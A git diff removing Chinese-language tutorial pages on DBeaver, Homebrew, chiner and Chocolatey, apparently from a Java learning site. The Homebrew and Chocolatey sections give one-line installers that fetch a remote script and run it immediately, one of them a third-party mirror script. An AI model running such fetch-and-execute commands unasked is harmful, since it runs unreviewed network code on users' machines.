DBeaver 是基于 [Maven 构建](https://github.com/itwanger/toBeBetterJavaer/blob/master/docs/maven/maven.md)的,数据库驱动也就是链接数据库的 JDBC 驱动是通过 Maven 仓库下载的。选择「首选项」→「Maven」,添加阿里云镜像地址: - ->[http://maven.aliyun.com/nexus/content/groups/public](http://maven.aliyun.com/nexus/content/groups/public) - -和配置 Maven 镜像一样,如下图所示。 - - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/DBeaver-5.png) - -配置完成后,记得把阿里云镜像仓库置顶。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/DBeaver-6.png) - - -## 三、管理数据源 - -像使用 Navicat 一样,我们需要先建立连接,这里就以 MySQL 为例。点击「连接」小图标,选择数据库。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/DBeaver-7.png) - -点击下一步,这时候需要填写数据库连接信息。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/DBeaver-8.png) - -点击「测试链接」,如果使用默认的 Maven 仓库时,下载驱动会非常慢,如下图所示,还容易失败「踩过的坑就不要再踩了」。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/DBeaver-9.png) - -如果你前面按照我说的配置了阿里云的 Maven 镜像,程序就不一样了,点了「测试链接」,瞬间会弹出「连接已成功」的提示框。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/DBeaver-10.png) - -链接成功后,就可以看到数据库中的表啊、视图啊、索引啊等等。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/DBeaver-11.png) - -## 四、管理表 - -数据库连接成功后,最重要的还是操作表。 - -**01、查看表** - -选择一张表,双击后就可以看到表的属性了,可以查看表的列、约束(主键)、外键、索引等等信息。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/DBeaver-12.png) - -点击「DDL(Data Definition Language,数据定义语言)」可以看到详细的建表语句。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/DBeaver-13.png) - -点击「数据」可以查看表的数据,底部有「新增」、「修改」、「删除」等行操作按钮。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/DBeaver-14.png) - -可以在顶部的过滤框中填写筛选条件,然后直接查询结果。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/DBeaver-15.png) - -如果不想显示某一列的话,可以直接点击「自定义结果集」图表,将某个字段的状态设置为不可见即可。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/DBeaver-16.png) - -**02、新增表** - -在左侧选择「表」,然后右键选择「新建表」即可建表id。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/DBeaver-17.png) - -之后在右侧列的区域右键,选择「新建列」即可添加字段。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/DBeaver-18.png) - -比如说我们新建一个主键 ID,如下图所示。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/DBeaver-19.png) - -在 DBeaver 中,`[v]` 表示真,`[]` 表示否。紧接着在「约束」里选择 ID 将其设置为主键。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/DBeaver-20.png) - -最后点击保存,会弹出一个建表语句的预览框,点击「执行」即可完成表的创建。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/DBeaver-21.png) - -## 五、执行 SQL - -右键数据库表,选择右键菜单中的「SQL 编辑器」可以打开 SQL 编辑面板。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/DBeaver-22.png) - -然后编辑 SQL 语句,点击运行的小图标就可以查询数据了。这个过程会有语法提示,非常 nice。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/DBeaver-23.png) - -DBeaver 有一个很亮眼的操作就是,可以直接选中一条结果集,然后右键生成 SQL。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/DBeaver-24.png) - -比如说 insert 语句,这样再插入一条重复性内容的时候就非常方便了。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/DBeaver-25.png) - -## 六、外观配置 - -可以在首选项里对外观进行设置,比如说把主题修改为暗黑色。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/DBeaver-26.png) - -然后界面就变成了暗黑系。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/DBeaver-27.png) - -还可以设置字体大小等。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/DBeaver-28.png) - -从整体的风格来看,DBeaver 和 Eclipse 有些类似,事实上也的确如此,DBeaver 是基于 Eclipse 平台构建的。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/DBeaver-29.png) - -## 七、总结 - -总体来说,DBeaver是一款非常优秀的开源数据库管理工具了,功能很全面,日常的开发基本上是够用了。对比收费的 Navicat 和 DataGrip,可以说非常良心了。大家如果遇到收费版不能使用的时候,可以来体验一下社区版 DBeaver。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongzhonghao.png) \ No newline at end of file diff --git a/docs/src/gongju/brew.md b/docs/src/gongju/brew.md deleted file mode 100644 index 5e87b32609..0000000000 --- a/docs/src/gongju/brew.md +++ /dev/null @@ -1,289 +0,0 @@ ---- -category: - - Java企业级开发 -tag: - - 辅助工具 -title: Homebrew,GitHub 星标 32.5k+的 macOS 命令行软件管理神器,功能真心强大! -shortTitle: Homebrew:macOS软件管理器 -description: Homebrew,GitHub 星标 32.5k+的 macOS 命令行软件管理神器,功能真心强大! -head: - - - meta - - name: keywords - content: 辅助工具,GitHub,macos Homebrew,Homebrew教程,Homebrew镜像,Homebrew国内安装 ---- - -## 前言(废话) - -本来打算在公司偷偷摸摸给星球的用户写一篇编程喵整合 MongoDB 的文章,结果在通过 brew 安装 MongoDB 的时候竟然报错了。原因很简单,公司这台 Mac 上的 homebrew 环境没有配置好。刚好 二哥的Java进阶之路上缺少这样一篇内容。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/brew-c6756a26-8767-4135-be4c-b31d42de2a89.png) - -所以我就想,不如趁机水一篇吧,啊,不不不,趁机给小伙伴们普及一下 Homebrew 吧!瞧我这该死的大公无私的心(手动狗头)。 - -不会吧?不会还有人用 macOS 没有安装/配置 Homebrew 吧? - - -## Homebrew 能干什么 - ->Homebrew 的 Slogan :The missing package manager for macOS (or Linux) - -Homebrew 这款命令行软件管理神器在 GitHub 上已经有 32.5k+ 的 star 了,功能也真心强大,几乎 macOS 上的软件包它都包了。Homebrew 本身没有问题,问题在于。。。。。不说了,你懂的。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/brew-726f97d9-4de2-4d23-9973-d1a39951a0f7.png) - -Homebrew 除了是 macOS 的包管理器也可以装在 Linux 上成为 Linux 的包管理器,仅需要执行相应的命令,就能下载安装需要的软件包,省去了下载、解压、拖拽等繁琐的步骤。 - -用 Homebrew 官方的话来总结就是:安装 Apple(或 Linux 系统)没有预装但你需要的软件。比如说安装 MongoDB,只需要执行以下命令就可以安装,前提条件是环境一定要配置好。 - -``` -brew install mongodb -``` - -简单一条命令,就可以实现包管理,还不用担心依赖/文件路径等问题。 - -Homebrew 主要由四个部分组成: brew、homebrew-core 、homebrew-cask、homebrew-bottles。 - -- brew:Homebrew 的源代码仓库 -- homebrew-core:Homebrew 的核心源 -- homebrew-cask:提供 macOS 应用和大型二进制文件的安装 -- homebrew-bottles:预编译二进制软件包 - -再来了解一下 Homebrew 的接个核心概念,后续会经常用到。 - -- formula(e),安装包的描述文件,带 e 为复数 -- cellar,包安装好后所在的目录 -- bottle,预先编译好的包,不需要再下载源码编译,速度会快很多,官方库中的包大多数是通过 bottle 方式安装的 -- tap,下载源 -- cask(s),安装 macOS native 应用的扩展,可以理解为有图形化界面的应用,带 s 为复数 -- bundle,描述 Homebrew 依赖的扩展 - -## 安装配置 Homebrew - ->世上无难事,只要找到 Homebrew 的正确安装方式。 - -按理说,Homebrew 的安装方式非常简单,只需要执行官方的一句命令就可以完成安装了。 - -``` -/bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)" -``` - -但国内开发者命苦就苦在,经常会因为网络的原因安装失败。原因我只能说这是 `https://raw.githubusercontent.com` 网站的锅,谁让它访问不稳定呢? - -怎么办呢? - -必须换一种高效且科学的安装方式,那就是使用镜像安装。 Gitee 上有开源作者提供了一键安装包,只需要执行以下命令就可以了。 - -``` -/bin/zsh -c "$(curl -fsSL https://gitee.com/cunkai/HomebrewCN/raw/master/Homebrew.sh)" -``` - -安装脚本里提供了中科大、清华大学、北京外国语大学、腾讯、阿里巴巴等下载源。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/brew-e7eaf096-7477-4ed0-814a-07ef8d62884f.png) - -但过来人告诉你,别选其他镜像源,就选中科大,速度杠杠的,40-50M/s,这速度比其他镜像源快多了,对比起来,其他就是蜗牛🐌。 - - - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/brew-f0c3c481-f474-47b2-8b5e-17f8fc2b9a80.png) - - - -这个安装脚本非常的智能,几乎可以一件帮我们搞定所有问题。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/brew-7c539545-d26e-45e8-9f81-bb5b439342eb.png) - -再次感谢 Gitee 上这位大牛,已经 3k star 了,我把地址贴出来: - ->[https://gitee.com/cunkai/HomebrewCN](https://gitee.com/cunkai/HomebrewCN) - - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/brew-aebf4ced-58f4-4d31-892c-4a8382cf3677.png) - -brew 本体安装成功后,会提示我们配置国内镜像源。 - - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/brew-6866eb09-75fb-4f19-9ff4-b80fd02816e9.png) - -nice,安装完成了。执行下面这几个命令体验下。 - - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/brew-33bcd6a1-d843-4a6c-a8ac-0d908095da79.png) - -- `brew ls` 查看本地命令; -- `brew search mongodb` 查找软件; -- `brew -v` 查看版本; -- `brew update` 更新版本; -- `brew install --cask firefox` 安装图形化界面软件 -- `brew config` 查看配置。 - - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/brew-ac0e141f-301c-46f1-bd80-5375eb50dc4d.png) - - - -## brew 和 brew cask 的区别 - -这里顺带说一下 brew 和 brew cask 的区别,这也是一开始我使用 brew 时困惑的一个点。 - -以前的版本中,是可以直接 `brew cask list` 这样执行命令的,现在改成了 `brew list --cask`。 - - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/brew-c5403959-01fd-4610-b08c-4ca4e4cb0a66.png) - -brew 是从下载源码开始,然后编译(不一定,有些有现成的 bottle)解压,通过 `./configure && make install` 进行安装,同时会包含相关的依赖库。环境变量也是自动配置的。 - - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/brew-d27ec07e-cf3c-4504-9174-60881d2710fb.png) - - -brew cask 是下载解压已经编译好了的软件包(.dmg/.pkg),放在统一的目录中,省去了手动去下载、解压、拖拽等蛋疼步骤。 - - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/brew-566f4437-62de-49e5-89a7-7c666a2ad9c1.png) - -通过 `brew search google` 我们也可以看得出两者之间的区别。 - - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/brew-441127b1-f7ae-484e-801b-5b808f8e283c.png) - -- 「Formulae」一般是那些命令行工具、开发库、字体、插件等不含 GUI 界面的软件。 -- 「Cask」就会包含一些 GUI 图形化界面的软件,如 Google Chrome、FireFox 、Atom 等 - - -## 使用 Homebrew - -Homebrew安装配置完成后,我们来实操体验两把。 - -这里是 homebrew 常用命令的一个清单,可供参考。 - -命令| 描述 ----|--- -brew update| 更新 Homebrew -brew search package| 搜索软件包 -brew install package| 安装软件包 -brew uninstall package| 卸载软件包 -brew upgrade| 升级所有软件包 -brew upgrade package| 升级指定软件包 -brew list| 列出已安装的软件包列表 -brew services command package| 管理 brew 安装软件包 -brew services list| 列出 brew 管理运行的服务 -brew info package| 查看软件包信息 -brew deps package| 列出软件包的依赖关系 -brew help| 查看帮助 -brew cleanup| 清除过时软件包 -brew link package| 创建软件包符号链接 -brew unlink package| 取消软件包符号链接 -brew doctor| 检查系统是否存在问题 -brew tap [user/repo] | 将开源仓库添加到源 - -### 第一把,使用 Homebrew 安装 JDK - -作为一名 Java 后端程序员,JDK 是必须要安装的,对吧? - -1)执行 `brew search jdk` 查找有哪些可供安装的 JDK - -2)执行 `brew install openjdk@17` 安装 JDK。 - - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/brew-b4d7684b-2db8-4286-bf2e-389c2aed5968.png) - -3)但我们在 macOS 上安装了多个版本的 JDK 后,怎么管理它们呢?可以安装一下 jEnv,一个帮助我们管理 JAVA_HOME 的命令行工具,在 GitHub 上已经收获 4.3k 的 star。 - ->GitHub 地址:[https://github.com/jenv/jenv](https://github.com/jenv/jenv) - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/brew-1034fcfd-22a7-4968-8b6f-fb2e67d22855.png) - -官方文档也非常的简洁大方: - ->[https://www.jenv.be/](https://www.jenv.be/) - - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/brew-2e10e772-1944-474a-bbfa-b3ef3e0ec9d4.png) - -安装: - -``` -brew install jenv -``` - -配置: - -``` -echo 'export PATH="$HOME/.jenv/bin:$PATH"' >> ~/.zshrc -echo 'eval "$(jenv init -)"' >> ~/.zshrc -``` - -添加: - -``` -jenv add /usr/local/opt/openjdk@17/libexec/openjdk.jdk/Contents/Home/ -``` - - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/brew-b126c35d-edab-48a9-9543-831cfd0a51c6.png) - - -JDK 的安装路径可以通过下图的位置查找。 - - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/brew-a32accec-4044-480c-a8c8-3781bc5048b5.png) - -管理: - -``` -jenv versions -jenv global 17.0.3 -``` - - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/brew-cc01fad8-53e9-4474-8923-08e97ac7090a.png) - -是不是贼方便?再也不用整这 `echo 'export PATH="/usr/local/opt/openjdk@17/bin:$PATH"' >> ~/.zshrc` 玩意了!爽,实在是爽! - -### 第二把,使用 Homebrew 安装 MongoDB - -先看 MongoDB 的官方文档(当前 release 版本是 5.0,我这里就先用上一个稳定版 4.4): - ->[https://www.mongodb.com/docs/v4.4/tutorial/install-mongodb-on-os-x/](https://www.mongodb.com/docs/v4.4/tutorial/install-mongodb-on-os-x/) - -1)拉取 MongoDB 的源 - -``` -brew tap mongodb/brew -``` - - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/brew-4819ca75-01e3-4dea-8859-7c9ddd570142.png) - - -2)更新 brew - -``` -brew update -``` - -3)安装 MongoDB - -``` -brew install mongodb-community@4.4 -``` - - OK,安装成功。 - - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/brew-e934f3f3-c7de-4537-8c30-73c0e9fb41b4.png) - -## 小结 - -通过 Homebrew 下载的软件基本上来自于官网,所以大可以放心。而且而且它尽可能地利用了系统自带的各种库,使得软件包的编译时间大大缩短,基本上不会造成冗余。 - -这里顺带给大家提一则小故事,教别人学算法的大佬可以拿走了:homebrew 的作者去面 Google,被考算法题: 反转二叉树,结果没通过被拒了,😆 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/brew-8fb73388-ffaf-4241-8584-03e7aa00578b.png) - -好了好了,今天这篇文章就先水到这吧,我们下期见~ - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongzhonghao.png) - - diff --git a/docs/src/gongju/chiner.md b/docs/src/gongju/chiner.md deleted file mode 100644 index abdf250f93..0000000000 --- a/docs/src/gongju/chiner.md +++ /dev/null @@ -1,167 +0,0 @@ ---- -title: chiner:干掉 PowerDesigner,国人开源的数据库设计工具,界面漂亮,功能强大 -shortTitle: chiner:国人开源的数据库设计工具 -category: - - Java企业级开发 -tag: - - 辅助工具 -description: chiner:干掉 PowerDesigner,国人开源的数据库设计工具,界面漂亮,功能强大 -head: - - - meta - - name: keywords - content: 辅助工具,GitHub,pdman chiner,PDM 工具,数据库设计,PowerDesigner chiner,Java企业级开发 ---- - -最近在造轮子,从 0 到 1 的那种,就差前台的界面了,大家可以耐心耐心耐心期待一下。其中需要设计一些数据库表,可以通过 Navicat 这种图形化管理工具直接开搞,也可以通过一些数据库设计工具来搞,比如说 PowerDesigner,更专业一点。 - - 今天我给大家推荐的这款国人开源的数据库设计工具 chiner,界面漂亮,功能强大,体验后给我的感觉是真香...... - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/chiner-1.png) - - -## 一、关于 PowerDesigner - -PowerDesigner 是一款功能非常强大的建模工具,可以和 Rational Rose 媲美。Rose 专攻 UML 对象模型的建模,之后才拓展到数据库这块。而 PowerDesigner 是一开始就为数据库建模服务的,后来才发展为一款综合战斗力都还不错的建模工具。 - -不过,说句实在话,PowerDesigner 的界面偏古典一些,下面是我用 PowerDesigner 设计 DB 的效果。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/chiner-2.png) - -## 二、关于 chiner - -chiner,发音:[kaɪˈnər],使用React+Electron+Java技术体系构建的一款元数建模平台。 - -2018 年,作者和几个对开源有兴趣的社区好友开始打磨产品的原因,历经三代,直到 2021 年 7 月份,终于推出了船新的 3.0 版本。 - -2019 年底,团队差点解散,幸好有几位好友关照,给了团队两个项目做,这才算是熬了过去。 - -不得不说,做任何一件事情都不容易啊,光靠情怀也许可以撑过产品初期,但越往后去,遇到生存问题时,就会非常困难。 - -在此,我们必须得为每一位开源作者奉上最真诚的掌声,希望他们的产品都能有一番天地。也希望,未来我的产品出现在大家的面前时,能给它多一点点包容和支持。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/chiner-3.gif) - -## 三、安装 chiner - -chiner 支持 Windows、macOS 和 Linux,下载地址如下所示: - ->[https://gitee.com/robergroup/chiner/releases](https://gitee.com/robergroup/chiner/releases) - -码云做了外部链接的拦截,导致直接复制链接到地址栏才能完成下载。我这里以 macOS 为例。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/chiner-4.png) - -安装完成后首次打开的样子是这样的。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/chiner-5.png) - -chiner 提供了非常贴心的操作手册和参考模板,如果时间比较充分的话,可以先把操作手册过一遍,写得非常详细。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/chiner-6.png) - -## 四、上手 chiner - -### **01、导入导出** - -因为我之前有一份 PowerDesigner 文件,所以可以直接导入到 chiner。 - -第一步,新建一个项目 codingmore。 - -第二步,选择导入 PowerDesigner 文件。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/chiner-7.png) - -第三步,选择要添加的数据表。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/chiner-8.png) - -第四步,导入完成后,就可以点开单表进行查看了。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/chiner-9.png) - -第五步,当完成重新设计后,就可以选择导出 DDL 到数据库表了。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/chiner-10.png) - -当然了,也可以直接配置数据库 DB,这样就可以直接连接导入导出了。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/chiner-11.png) - -导出的 SQL 文件可以直接通过宝塔面板上传到服务器端,然后再直接导入到数据库。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/chiner-12.png) - -如果需要用到数据库说明文档的话,也可以直接通过导出到 Word 文档来完成。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/chiner-13.png) - -### **02、维护数据类型** - -chiner 自带了几种常见的数据类型,比如字串、小数、日期等,我们也可以根据自己的需要添加新的数据类型。 - -比如说默认的字串类型关联到其他数据库的类型如下所示: - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/chiner-14.png) - -数据域是在数据类型的基础上,基于当前项目定义的有一定业务含义的数据类型,比如说我这里维护了一个长度为 90 的名称数据域。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/chiner-15.png) - -当我需要把某个数据字段的数据域设置成「名称」的时候,长度就会自动填充为 90,不需要手动再去设置。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/chiner-16.png) - -### **03、维护数据表** - -第一步,选中数据表,右键选择「新增数据表」 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/chiner-17.png) - -第二步,填写数据表名 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/chiner-18.png) - -点击「确定」后,chiner 会帮我们自动生成一些常见常用的字段,比如说创建人、创建时间、更新人、更新时间等,非常的智能化。通常来说,这些字段都是必须的。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/chiner-19.png) - -如果这些默认字段不满足需求的时候,还可以点击「设置」新增默认字段,比如说删除标记,一般来说为了安全起见,数据库都会采用非物理删除。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/chiner-20.png) - -一般来说,我们更习惯字段小写命名,因此可以直接选中一列,然后选择大小写转换。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/chiner-21.png) - -就变成小写了。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/chiner-22.png) - -### **04、维护关系图** - -第一步,选择「关系图」,右键选择「新增关系图」 - -第二步,把需要关联的表拖拽到右侧的面板当中,然后按照字段进行连线,非常的方便。比如说班级和学院表、班级和专业表的关系,就如下图所示。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/chiner-23.png) - -来看一下整体给出来的关系图,还是非常清爽的。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/chiner-24.png) - -## 五、尾声 - -chiner 还有更多更强大的功能,大家觉得不错的话,可以去尝试一下。用的熟练的话,肯定能在很大程度上提高生产效率。 - -就我个人的使用体验来说,chiner 比 PowerDesigner 更轻量级,也更符合日常的操作习惯,为国产开源点赞! - -项目地址: - ->[https://gitee.com/robergroup/chiner](https://gitee.com/robergroup/chiner) - -使用手册: - ->[https://www.yuque.com/chiner/docs/manual](https://www.yuque.com/chiner/docs/manual) - - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongzhonghao.png) \ No newline at end of file diff --git a/docs/src/gongju/choco.md b/docs/src/gongju/choco.md deleted file mode 100644 index 8d0399ae22..0000000000 --- a/docs/src/gongju/choco.md +++ /dev/null @@ -1,174 +0,0 @@ ---- -category: - - Java企业级开发 -tag: - - 辅助工具 -title: Chocolatey:一款 GitHub 星标 8.2k+ 的 Windows 命令行软件管理器,好用到爆! -shortTitle: Chocolatey:Windows软件管理神器 -description: chocolatey:一款 GitHub 星标 8.2k+ 的 Windows 命令行软件管理神器,好用到爆! -head: - - - meta - - name: keywords - content: 辅助工具,GitHub,Windows choco,chocolatey 教程 ---- - -小二是公司新来的实习生,之前面试的过程中对答如流,所以我非常看好他。第一天,我给他了一台新电脑,要他先在本地搭建个 Java 开发环境。 - -二话不说,他就开始马不停蹄地行动了。**真没想到,他竟然是通过命令行的方式安装的 JDK,一行命令就搞定了!连环境变量都不用配置,这远远超出了我对他的预期**。 - -我以为,他会傻乎乎地下一步下一步来安装 JDK,就像这样。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/choco-474773ad-69eb-467d-acd8-1928ebf27e3a.png) - -然后这样配置环境变量。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/choco-c463c792-60a8-4d16-8cba-dcbe1ece1453.png) - -结果他是这样的,就一行命令,环境变量也不用配置! - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/choco-340c54de-c793-4bbc-9112-96977f8ec69a.png) - -卧槽!牛逼高大上啊! - -看着他熟练地在命令行里安装 JDK 的样子,我的嘴角开始微微上扬,真不错!这次总算招到了一个靠谱的。 - -于是我就安排他做一个记录,打算发表在我的小破站《二哥的 Java 进阶之路》上。从他嘴里了解到,他用的命令行软件管理器叫 chocolatey,这是一个 Windows 下的命令行软件管理器,在 GitHub 上已经收获 8.2k+的星标,可以方便开发者像在 Linux 下使用 yum 命令来安装软件,或者像在 macOS 下使用 brew 命令来安装软件,非常酷炫。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/choco-92ee5dda-830f-47fd-8770-7a765ef30b5a.png) - -以下是他的记录,一起来欣赏下。 - -### 先来了解 shell - -对于一名 Java 后端程序员来说,初学阶段,你可以选择在 IDE 中直接编译运行 Java 代码,但有时候也需要在 Shell 下编译和运行 Java 代码。 - -> Windows 下自带的 Shell 叫命令提示符,或者 cmd 或者 powershell,macOS 下叫终端 terminal。 - -但当你需要在生产环境下部署 Java 项目或者查看日志的话,就必然会用到 Shell,这个阶段,Shell 的使用频率高到可以用一个成语来形容——朝夕相伴。 - -一些第三方软件会在原生的 Shell 基础上提供更强大的功能,常见的有 tabby、Warp、xhsell、FinalShell、MobaXterm、Aechoterm、WindTerm、termius、iterm2 等等,有些只能在 Windows 上使用,有些只能在 macOS 上使用,有些支持全平台。还有 ohmyzsh 这种超神的 Shell 美化工具。 - -这里,我们列举一些 Shell 的基本操作命令(Windows 和 macOS/Linux 有些许差异): - -- 切换目录,可以使用 cd 命令切换目录,`cd ..` 返回上级目录。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/choco-21db6ccd-3bec-4e8c-b72a-6cba674cae63.png) - -- 目录列表,macos/linux 下可以使用 ls 命令列出目录下所有的文件和子目录(Windows 下使用 dir 命令),使用通配符 `*` 对展示的内容进行过滤,比如 `ls *.java` 列出所有 `.java`后缀的文件,如果想更进一步的话,可以使用 `ls H*.java` 列出所有以 H 开头 `.java` 后缀的文件。 -- 新建目录,macOS/Linux 下可以使用 mkdir 命令新建一个目录(比如 `mkdir hello` 可以新建一个 hello 的目录),Windows 下可以使用 md 命令。 -- 删除文件,macOS/Linux 下可以使用 `rm` 命令删除文件(比如 `rm hello.java` 删除 hello.java 文件),Windows 下可以使用 del 命令。 -- 删除目录,macOS/Linux 下可以使用 `rm -r` 命令删除目录以及它所包含的所有文件(比如说 `rm -r hello` 删除 hello 目录)。Windows 下可以使用 rmdir 命令。 -- 重复命令,macOS/Linux/Windows 下都可以使用上下箭头来选择以往执行过的命令。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/choco-269f4133-cdd3-414f-baf9-31067e0eb27f.png) - -- 命令历史,macOS/Linux 下可以使用 `history` 命令查看所有使用过的命令。Windows 可以按下 F7 键。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/choco-96eb0dde-c08c-4b52-9007-8f3130e22d94.png) - -- 解压文件,后缀名为“.zip”的文件是一个包含了其他文件的压缩包,macOS/Linux 系统自身已经提供了用于解压的 unzip 命令, Windows 的话需要手动安装。 - -### 再来了解 chocolatey - -先安装 chocolatey。这是一个 Windows 下的命令行软件管理器,可以方便开发者像在 Linux 下使用 yum 命令来安装软件,或者像在 macOS 下使用 brew 命令来安装软件,非常酷炫。 - -> The biggest challenge is reducing duplication of effort, so users turn to Chocolatey for simplicity - -传统的安装方式要么非常耗时,要么非常低效,在命令行安装软件除了简单高效,还能自动帮我们配置环境变量。 - -> - 官方地址:[https://chocolatey.org/](https://chocolatey.org/) -> - 安装文档:[https://chocolatey.org/install#individual](https://chocolatey.org/install#individual) - -第一步,以管理员的身份打开 cmd 命令行。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/choco-3dae462d-56d1-4e80-9d47-bcba1c2ee292.png) - -第二步,执行以下命令: - -``` -Set-ExecutionPolicy Bypass -Scope Process -Force; [System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072; iex ((New-Object System.Net.WebClient).DownloadString('https://community.chocolatey.org/install.ps1')) -``` - -稍等片刻,就完成安装了。 - -安装完成后如下图所示: - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/choco-2cfc4656-e996-4678-bd57-29cc78587e73.png) - -如果不确定是否安装成功的话,可以通过键入 `choco` 命令来确认。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/choco-2db830bd-76f5-4b28-8f1d-1642b3e8476b.png) - -这里推荐几个非常高效的操作命令: - -- choco search xxx,查找 xxx 安装包 -- choco info xxx,查看 xxx 安装包信息 -- choco install xxx,安装 xxx 软件 -- choco upgrade xxx,升级 xxx 软件 -- choco uninstall xxx, 卸载 xxx 软件 - -如何知道 chocolatey 仓库中都有哪些安装包可用呢? - -可以通过上面提到的命令行的方式,也可以访问官方仓库进行筛选。 - -> [https://community.chocolatey.org/packages](https://community.chocolatey.org/packages) - -比如说我们来查找 Java。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/choco-aa483180-e395-4753-b8ca-0479b05ec4b5.png) - -好,现在可以直接在 shell 中键入 `choco install jdk8` 来安装 JDK8 了,并且会自动将 Java 加入到环境变量中,不用再去「我的电脑」「环境变量」中新建 JAVA_HOME 并复制 JDK 安装路径配置 PATH 变量了,是不是非常 nice? - -稍等片刻,键入 `java -version` 就可以确认 Java 是否安装成功了。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/choco-ddc37a22-43d7-4e40-bcfd-7208f9d1df59.png) - -不得不承认!非常 nice! - -再比如说安装 Redis,只需要找到 Redis 的安装命令在 Choco 下执行一下就 OK 了。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/choco-9cd5f46e-054c-4e1e-bcbb-1d11e36accfe.png) - -安装 Git: - -``` -choco install git.install -``` - -安装 node.js - -``` -choco install nodejs.install -``` - -安装 7zip - -``` -choco install 7zip -``` - -安装 **Filezilla** - -``` -choco install filezilla -``` - -Choco 上的软件包也非常的多,基本上软件开发中常见的安装包都有。 - 